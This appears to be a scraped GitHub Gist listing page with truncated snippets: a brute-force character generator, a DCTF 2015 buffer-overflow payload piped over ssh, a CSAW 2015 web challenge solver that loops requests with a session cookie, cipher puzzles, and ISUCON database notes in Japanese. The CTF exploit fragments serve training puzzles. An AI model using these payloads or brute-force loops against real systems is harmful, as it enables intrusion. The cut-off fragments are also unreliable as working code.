Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

defmodule Bruteforce do
def default_char_list do String.codepoints("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-+=:?!@#$%^&*()") end
def increment(%{digits: digits, chars: chars}) do
case digits do
[current|tail] ->
if current+1 >= length(chars) do
%{digits: new_digis, chars: _} = Bruteforce.increment(%{digits: tail, chars: chars})
%{digits: [0] ++ new_digis, chars: chars}
else
%{digits: [current+1] ++ tail, chars: chars}
#usage: ruby dctf2015_e100.rb | ssh xxx@xx.xx.xx.xx
str = 'A' * 0x34 + [0x8048650].pack("I*")
puts str
import string
import random
from base64 import b64encode, b64decode
FLAG = 'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}'
enc_ciphers = ['rot13', 'b64e', 'caesar']
dec_ciphers = ['rot13', 'b64d', 'caesard']
def rot13(s):
@oppai
oppai / web50_solve.rb
Created September 22, 2015 16:22
csawctf2015 web50
require 'net/http'
require 'uri'
http = Net::HTTP.new('54.209.88.227', 80)
# oppai2-1000
cookie = "session=eyJpZCI6OTQ4MTIsInRva2VucyI6MzE1Nn0.COCK7w.njxoA3POhr3wd4hIpYWpclygzUs; HttpOnly; Path=/"
# cleared: eyJpZCI6OTQ4MTIsInRva2VucyI6MzE1Nn0.COCLJw.s4HgvN6NHWsW1S6ORGnr9G5JGA8
suffix = 1
loop do
oppai
@oppai
oppai / 0_reuse_code.js
Last active August 29, 2015 14:20
Here are some things you can do with Gists in GistBox.
// Use Gists to store code you would like to remember later on
console.log(window); // log the "window" object to the console
def char_num(n)
return 0 if n == 'P'
return 1 if n == 'L'
return 2 if n == 'U'
return 3 if n == 'S'
end
alfa = "あいうえおかきくけこさしすせそたちつてとなにぬねのはひふへほまみむめもやゆよらりるれろわをんがぎぐげござじずぜぞばびぶべぼぱぴぷぺぽ".split('')
text = "PLSUPUUSPSPLPPPLPPPLPLLUPLUUPLULPPLLPSPLPLSUPPPLPUPSPLPUPSUUPLPSPSUSPLUUPSSPPUPLPPPUPUSSPPSPPPUSPLULPULUPULLPSUPPSSSPPPUPPPLPLPUPUPPPUPUPUSPPUUSPSPSLPPPPSSSPLPLPLUPPLSPPLUSPULSPSLLPPPUPPSSPLUUPUPUPUUPPUSSPPPLLPPPPSSSPUPPPULLPULPPSPPPSSUPSSSPPLUPLPLPLLLPLLPPUPSPUUUPSUPPPLPPPUPPPLLPPLPPLLSPLLSPULUPULLPULLPULPPSLUPPUPPPUPPLULPLUPPLSLPULLPSLUPPLSPLUUPLUP"
slice_text = text.scan(/.{1,4}/)
@oppai
oppai / mysql.sql
Last active August 29, 2015 14:06
mysql> show tables;
+------------------+
| Tables_in_isucon |
+------------------+
| memos |
| users |
+------------------+
2 rows in set (0.00 sec)
mysql> desc memos;

プルリクエストポリシー

  • webappは基本的にプルリクエストを通す(conf系は口頭でもおk)
  • スコア変動の推移を書く
    • ex) 2400 -> 3000
  • 何を目的としているかを書く
    • Covering Index / Data Cache / アルゴリズム改善
  • DBのスキーマを変更する場合db/changes.sqlに変更を加える
    • masterにマージされた場合、変更した人が責任をもって本番環境のDBスキーマを変更すること

アロケーションポリシー

@oppai
oppai / yapc_asia_2014_2.md
Last active August 29, 2015 14:05
YAPC::Asia 2014の2日目メモ